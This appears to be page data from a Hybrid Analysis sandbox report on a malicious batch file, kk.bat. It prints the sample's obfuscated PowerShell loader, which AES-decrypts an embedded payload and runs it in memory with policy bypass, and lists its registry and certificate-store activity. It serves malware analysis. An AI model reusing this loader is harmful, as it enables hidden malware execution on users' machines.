24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T479,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 9800bef9d493… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 9800bef9d493…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8"],"about":{"@type":"SoftwareApplication","name":"kk.bat","applicationCategory":["script","bat"],"identifier":"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":2,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T633,Process "cmd.exe" with commandline "/c ""C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat" "" (UID: 00000000-00003700) Process ".exe" with commandline "-noprofile -windowstyle hidden -ep bypass -command $flLnL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat').Split([Environment]::NewLine);foreach ($jhglm in $flLnL) { if ($jhglm.StartsWith(':: ')) { $uDeAm = $jhglm.Substring(3); break; }; };$dLIJD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uDeAm);$nJkwh = New-Object System.Security.Cryptography.AesManaged;$nJkwh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$nJkwh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$nJkwh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=');$nJkwh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mehcJXqMnXZUmnmrBD1Eeg==');$bIbyd = $nJkwh.CreateDecryptor();$dLIJD = $bIbyd.TransformFinalBlock($dLIJD, 0, $dLIJD.Length);$bIbyd.Dispose();$nJkwh.Dispose();$gJfcg = New-Object System.IO.MemoryStream(, $dLIJD);$dkGYN = New-Object System.IO.MemoryStream;$yfRSU = New-Object System.IO.Compression.GZipStream($gJfcg, [IO.Compression.CompressionMode]::Decompress);$yfRSU.CopyTo($dkGYN);$yfRSU.Dispose();$gJfcg.Dispose();$dkGYN.Dispose();$dLIJD = $dkGYN.ToArray();$qMhaY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($dLIJD);$haTMg = $qMhaY.EntryPoint;$haTMg.Invoke($null, (, [string[]] ('')))" (UID: 00000000-00002952)26:T738,".exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") ".exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") ".exe" touched "Start Menu Pin" (Path: "HKCU\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\TREATAS") ".exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\PROGID") ".exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") ".exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") ".exe" touched "Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") ".exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") ".exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") ".exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") ".exe" touched "User Assist" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") ".exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") ".exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\INPROCSERVER32") ".exe" touched "NDP SymBinder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\SERVER")27:T1c39,Process ".exe" (UID: 00000000-00002952) was launched with new environment variables: "AbIYuEXzQe="qMha", GcJjqEKdda="Secu", mxzmSkeHUB="1Eeg", pHNMHAEWgN="$dkG", DhgOEPfJqe=";$bI", HUWzChhdPX=" $d", bwdxKZxOWz="qMnX", QHgnRdIVTr="ke($", aWoUHStWkH=":: '", shhcktDarF="] -j", XAmiOMQUCm="Po", XAmpGxPQUF="$nJk", DFOyNUAfXa=".Key", AEMPPlsGLU="U = ", RRSLEhnNFA="'[-1", fZtxbJWzPY="ptor", QZMzRbrmtE="daeR", LKCaGILtQj="urit", aGsfBVJtwg="gJfc", JRAvOcThca="morF", AHorzmZmCO="tem.", BGyEEwJXXP="Comp", AbAliqiXoq="Y.En", RUPZyADVxT="pose", AvLFRiIyuU="dows", uoIbSfcpXH="Wi", GRSWbfGdse=" = $", nZKAtymOCU="we", AQsPgvdSag="Secu", KLBGxfzbdf="co", XoDCbheEjD="do", iUQkWyXlwk=" [Sy", tOEmbUEKPa="Obje", aoljOOSbjx="th('", yKswVyxoFR="pher", RvTFiASmVL="ose(", ddutsBvyGg=":('g", juFkHFWavQ="SU.D", YEJNnvkAhB="nd", wbpf="set ", nYqQmnKjKQ="Star", xoWajCOEJe="-joi", oBJRQhISxy="dLIJ", iJyFhCFzit="s\", HHQKPPWwOf=".Com", hApXQlfcXc="haY ", PMzfTlUPec="embl", hjAbYjiRtV="tS46", BuolGnRUxG="ress", bUvrFktjbc="[-1.", nidNrbePQx="ct S", mUFdFQWpNw="8rTc", trZcqnLOlA="$bIb", RsuaNtTOnk="raph", WQWqSVTJpP="prof", gzzjltTIOv="sion", ArgPdQgLgm="xe", NntrTMrBtf="::De", uIanQKhlvM="DeAm", PMShpMazNV="m.IO", VotPOKtFAr="cd", qjMZtmfGlL=".IO.", bwWlsdRfeM="glm ", waAHSarVAA="Obje", ysSqymQhJK="]::N", KGTWhkmHfC="]::(", HLCHzuRsez="-joi", MMcYeptBCF="rs", dVeNGtnUSx="3); ", iyTdzogeFL="em", dWLKXuumcj="Disp", OvTCOPlteH="k; }", YooIcucFzB="y]::", WeTwlvWQmJ="in", fMHrxIplsE="bstr", rphaWtZhLF=".Cop", zjLftzVXNZ="byd.", VQiPenXded=")) {", lsMrfgdtHo="rt]:", gYYwbWovbl="=');", QJNxVGaSFL="($jh", TzCTHSKbPd="hy.A", tHBJozTGAm="YN);", ufPIzKEvJB="lit(", DZSdUhZXfo="BC;$", ygmIXIcCYQ="JD =", DtFukVIrLO=");$n", aoGaTqjkfi="-win", PJCkiTJVbq="yste", fUiAXuKLeV="TllA", ohsBFyYfOW="tion", iRXDOUoTxL="ert]", eqMYMOxaUz="PKCS", htNgejdXHz="\v", sCSy="set ", oRXkXBvxbN="[Sys", OOvlRwHMPh="ay()", tlxLudhFIY="brea", ArrlQIBkad="File", ZcnWfPscbs="Jkwh", RnYdMLcFvB="1..-", kOSOOBLxsU="raph", qdivBmsANU="1//5", OhIamDnVeA="[Env", gMkIHKDMJW="and ", QcJpxFEyPu="Conv", TpbBHFLUGM="ing(", ZFxylVcegT="m/tn", coIAyzqdbh=")($u", ABrUsDqXTk="DeAm", NAPmCqeLVx="ll", lLDBDeFAjD=" = N", dnpsNPCiXR="= $n", SKSxqGUbCh="($jh", qfPKnhwuDk="ddin", QPXfGeGlgI="jhgl", GiHfKjgwfA=" = $", EQzmnMRVJW="esMa", KYEOCfKODS="y.Cr", PQOCVvcXER=" "C:\"", SUGEwWjmuy="nL =", FWeECLnbBT="join", AwnQPXIDzW=".-16", HMprWtdyMO="em.C", XJPbtnwsbR="TMg.", ftxeogNACq="gth)", OrVNzloXSr="V = ", QrQGAuZoEF="O.Me", kntTnfiOKp="G0xn", QLKmMbofFP="esaB", SLpqCKGJkF="bFnA", HrMAwwirzV="]::C", LtIlvMXCBj=" '')", ZkxKYGjkOW="1.", kAbnYMxZYz="d;$n", wkJivpUgtc="==')", HybjgKfiXq="nirt", fsAUkotlBp="$dkG", ouGgZdIrdT="'[-1", ZMYzMISQiZ="em.I", jSlHOiWEGj=".Mem", VGgLVcIPvr=")))", XUuiZkUtNQ="t Sy", NPqEcMrGSw="\W", ocSPaHGeUn="ose(", AXSmdqIfnW="6] -", OAzepDxyRT=" '')", mViDYbouUP="yste", JTJkspaYlP="S46e", PbHwFaQgeT=");$y", emGeoMKjjh="1] -", llqVknHSUN="[Sys", eurPCPpEWa=".Cre", jFZkVFSoNI="Stre", lNHEEvuaiL=""C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.", vRZmDyLzYE="0\", EJtgDSJpKF="nage", XPZsixrTiG="se()", qKQyKjsXaV="saBm", jhXFYQPyjV="tem.", FCuRiBOMhc="g = ", SogwWsKeTQ="F'[-", PKWgHHAyLO="-ep ", sRNzruYjwu="ect ", wpnAZcipxz="g = ", fMPehXvlHs="ct S", BVgAwesVYi="bjec", heVUVAEhYL="vert", yiAJkzraYF="hcJX", ZtqMdbZxvP=";$bI", FlDsOhhGyw="eam(", oWAsoqoHKb="lBlo", yHDJwFrHOL=";$ha", YGUfmvKbBf="byd ", HwfdEZfRMG="tsWi", SjntpiVjTj="ZUmn", lIFeTebKjE="y ", ilEiSCNazi=")($d", kHJmYeqfXT=".Dis", hbzMbeTdcI="Bmor", rXSSxZlKql="comm", HwlsXETtcs="stem", cLwYZpjVLk="= [S", SIkZuZTXxa="(''", TiYZMDQajK=".Len", diOuLPjuXp="cg, ", kQNDZSzlUQ="Jkwh", mMrtwAPXOB="onve", fCJzUmhNTt="ptog", qEPNfgVvHt="flec", YNJjIaNRDw="ion.", puIzdfDinx="('da", QWqcOZMgcy=" $u", CSkKqyZJnK="fcg.", QKrNIjPXjr="32", mdDrpyirbA="null", qaOtdZTZIF="join", rmlpbDTSPn="fore", ZEOnQRcdWS="exe"", TQTLXesinS="Sy", fqqITMqDkv="orF'", yDYciezzZe="he", KvjwWjFwCK="Jkwh", AkNQVxxiGZ="ress", ZSWAINSouK="7;$n", zYlXnSnkRX="();$", TGwDXCIexi="Invo", NyWoPOmaJP="ment", LiJhKPPdfK="CjxB", VflSadioet="mory", RdIY="set ", DhzZhSlaLU=" (,", vEnesOcLzo=");$h", RwrRMLFBFM="st", MQXfXhuVBQ="n ''", LcWVDskNDt="stem", qgTeRnQsNj="Disp", WxVrVnXvWA=");$n", SdXkiWSyab="comp", xwCuQyQxLD="Syst", vusUkHSphE="$dLI", INwoBoMFxR="rS", XVlAjuIFpH=".Con", hYtvOZzARa="oint", JSpImahRUy="L) {", SrtGIycdLv=";$qM", JiKZhjljHC="cgS/", WnHshxvukq="$gJf", KqsZihXSaz="h.Pa", GhfEATYGIo="('me", ktXduOSjNY="16] ", lFzomigKKD="Jkwh", WMjoAnlLXS="iron", VweNpRvAEi="yTo(", FAyKEPcfoz="ring", bWYjvWqCOQ="y.Pa", nGPzMxcuOp="he", GlLPUEzhlp="D = ", NVAPPLsfXE="[IO.", PoWDRZbrcJ=";$gJ", OItCoAfaKG=".Cry", agOAdobqRj="rity", wTGWHHYPXr="Fina", MIEhpiNzpn="den ", gLtgFgxxza="$dkG", PrVOcrsZJc="rtS4", jsFJRAcIrG="ex", pxyLtwFGnn="D, 0", qjbWqWXRUA="ll", mNOVaTpHmc=" New", BkbGzHEqYL=".Ass", zdcjYIgqCl="..-1", CgCPuEsrFk="ew-O", qdugqHWBil="ewLi", zftcEUvLcy="..-1", DZMepdJcYr="$flL", WmkFUpCCkq=" [st", nKQCALXOXt=" = [", rZrYlLZLnW="New-", EiaMXnWsEf="-1..", yHjTMSGtnD="LIJD", ZwNQOvozSA="oin ", ldBKPFySAi="oArr", CEwVDCHmHu="oL'[", PeksLGvung="();$", ejGsRDSGZb="D = ", ZJIhvgXDwT="ow", eFhCGwvsrb="YN.T", flwhPDiJUs="ress", tqdWFJiggY="[]] ", BLBVdOeOnr="New-", iSfKWfiRrC="py", wnTECucZrh="stem", bguiPeFiYc="tem.", eMencTNtgm="'I5N", qVLXKUTIvC="po", GXvCgTdwaq="n ''", CugfanzxvF="m.Re", bJaexhwgJK="dLIJ", EPpSuAauJJ=".Dis", VCILmnVuyQ="ispo", QYmVSDqCHT="yd.T", XMbTipOGSh="ss -", ETFnYpRObP="ateD", DiyqKMkSAU="-Obj", mKgBZvSBPP="ptog", CpRAFPXLae="]::(", KdgJcVOdIO="glm.", OdLUPuPloe="in $", ZrQIouJBPQ="m(, ", fqwFOxJkPp="Comp", JRuBKjNhcx="ode]", XVxMLJmXaB=".GZi", HbqejSMbVY="e"", yHGxCTDlFw="kGYN", SyMQbZnoxO=""9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.", tyhWoDZyGm=").Sp", TbeRxsEOMk="bypa", RMMzsLHqwh="[Sys", EZRwvvdacO="-4] ", njyYFNWpVE="ionM", ySyQOqluly="ne);", wdcnCJePYh="ach ", mDsPneEpbJ=");$d", lZSGrJecaJ="ypto", HsSvdeIxct="M1YS", MtBoSESMSv=".e", HbsQxYflLM="wh.I", GmrTXlXQwO=" /", FdlRSmIpbC="'gni", gYAPLkfvpO=".Mod", kIusaYIhVP="y.Ci", RrhTMbkqBS="YN =", aIuzYZqjBV="$yfR", bAakmrDETq="Syst", tfYCDWCGBC="form", EBoCLTzRCS=" -no", BVompjHULd="; };", DzehwxjrbE="ile ", PjWYuIczSV="'')(", LTxQnfqKHd="Jkwh", aiylFwhtOX="aTMg", tTgVZqgOVv="pres", RYKmtOZXIV=" if ", adcrsonwcI="rans", duyxIwoAuN="dLIJ", ChaxEJJtKS="am;$", VIroZthpbM="ws", JcVBocWztM=":\", MfcivlQBcy="JD);", GRooeXUkMp="grap", fmUMmmQUYt="m.Su", mXMysejeSg="ecry", EzHYYbHpFp="();$", LmEqWDLrcm="tryP", ADzQbprHBi=".Cry", KrqfmVFXhZ="pStr", DUoGhqLWfc="e]::", WEiwdWkWaD="nJkw", roaouUAgyJ="yfRS", apMDhKaKsV="ck($", qOOEKIWNXu="::('", GJbbwXBzTW="pose", LXbKEpdEdM="trea", tfNoqgMrYK="we", amrtgFaQTQ="mrBD", UbJizcOBSn="('C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat'", YIvAneOTzZ="rity", dvrRToCTAS="ddin", hoxyswnsPV="Mode", iurjTeOloB="e = ", IUsGTwqAUq="R8gm", mvvdFGtOYv="flLn", HDMEWDkwUR="I3DR", LwIaiXiyiR="'txe", RoQsipEcey=".Sec", HoxbpEWvVh="LIJD", GgYPAOcxbM="gnir", wuWQMFUksN="fRSU", KiQXSHkWwB=" hid", QUaFwrcpsY="6esa", fKNKjLdpPi="$dLI", RoBbzVgQtV=" C", WYfzJEcMZh="m.IO", lneKPLLLcz="gMod", rdIPqGNelF="yste", XtOhpfwhgn="tyle", gUxBdlBtly=" [Sy", GkUPJBSWJR="oryS""28:T64a,"cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" ".exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2771ea6e2b696142.customDestinations-ms" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" ".exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" ".exe" touched file "C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb" ".exe" touched file "C:\Windows\System.Management.Automation.pdb" ".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" ".exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"29:T4dc,"cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "cmd.exe" trying to access non-existent file "C:\9800BEF9D4936EE96D4872FB686121DD7209F8B529E9BDC833C4FE54BB68F5C8.BAT.EXE" ".exe" trying to access non-existent file "C:\ATL.DLL" ".exe" trying to access non-existent file "C:\mscoree.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe.Local\" ".exe" trying to access non-existent file "C:\ntmarta.dll" ".exe" trying to access non-existent file "C:\apphelp.dll" ".exe" trying to access non-existent file "C:\Windows\system32\mscoree.dll.local"2a:T799,"kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "kk.bat.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "")2b:T487,"kk.bat.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E"; Key: "BLOB") "kk.bat.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB")2c:T8b1,"kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "kk.bat.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "kk.bat.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")2d:T958,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGyUlEQVR42u1XWVMUVxjNz7MqlV+QqrxYZWKSSkWSuERIoSyDGBECgkBKBMSwqAUxgCAIAjIz4ATE2YFZeva9u2fr2Tj57u0eECEvqVTyYsNhZqD7nvPtHx999OH6vy/dzdu41tjyn6KxuRWHAppbWmF3BfHG5ia4/lV8frnj1Fcm4lBAW3sXjl8HODjQUDlAPq9AEkVUKmW4AnHMbgp4urKFZCqFUqmEuJxHMl1AsVhEoVA4hKIo9GyeI5fPIZ+j11wO2Wz2uIDunl/fpaYv9uYAlYMKApE4fn+ux8j4JOy7e1i3CjDsKbAEyzBsW+ALR+EvAwZPCtFoFAojrpIreU1AjhPnskSey54moJ8TqrwH/L1qfQXLhh3MvQ7A6BDxyi5i3ZlFY1MzBEHATgTYCgIxeq6lqwdiSuQkjPzIeo28KoDIs5n3BNzp7tMsV8lL5PbVtyF4AxGOZXMCeoeMLT/gFAnROIRsEcEK4MgAARLw3GDEttWOWCyFUCh06Pp8lVyzPJvJcBwT0NXdqzqAfpSJfHHDjjWbiDmjB6/dCkzeCuwJYD8J/L64jpnlV5hZMeKNPwFXscwFpAhh8hhpwuaOBWk5fUjOiTkyyBB5Jp0+RYCWeIpSwPSqGfq9HCzk4h1y8V4aMPvjqKv/CTOzs9jddcK0tY2B4REsbtsQKFIiEnGIQA5BzdU6hCMRpImMuz2jkjPLVQHveaCD4qdmfYWDZev0khG7OcBIAV6y+XD16o/Y293F/v4+PB4PvF4vf92xOnB7bBZvWYYT+fKmCfPzC/D5fRDFFLc8w0DETFCarE+/74GqgEqFoQKH14eFvRTW8pRkFJrb90ZgtVrhdrsRDAaRTCTpcBHJZJLHu7GtC7OxHNwk4GUwhKU1Pd3rQSqVOnK7BkYunyqAxY9g2I/CKJexRYfV1l+HXs6is7cfLpcLITpckiWeXIqWZOzAlwYTZkJZ1DXpsE4lmKVnZ0x/cpHM/czlGc1yRi7L8nEB7Z3dnLxM+G1pE+vJFHbpEBdZvCFn0DcwBJ/Pxw9k5VVQqnWu8CZl9sXwLJqBzW6HhZ4TCM33HyAej0OSZCLWXC+rOCHgdscdVUC5AlGScH/4AXoWVhGmg5yEnsEx7nrmwqMap9e8WutmTwhGqgYWgmUKy9XGJqytrsIn+Hi3rMadEauQTgpg5OVymVpmHlHK4LEXKzDRgX8yxGQM3B/SBBS45YrWZKIpCY5IGDMyMFsCelc2YTK9hp284RW8SCQSqtVplZx5RJZOFVBGqVziPfzljpWXlZ2wTXhLMLj9lFwGpERJ6+15RJISPCEB074KBujmkd0KHlHZ/jIwjsfP1jA+